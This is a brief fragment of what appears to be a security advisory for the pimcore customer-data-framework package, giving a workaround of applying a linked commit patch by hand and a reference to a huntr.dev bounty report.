Workarounds Apply https://github.com/pimcore/customer-data-framework/commit/d1d58c10313f080737dc1e71fab3beb12488a1e6.patch manually.
References https://huntr.dev/bounties/db6c32f4-742e-4262-8fd5-cefd0f133416/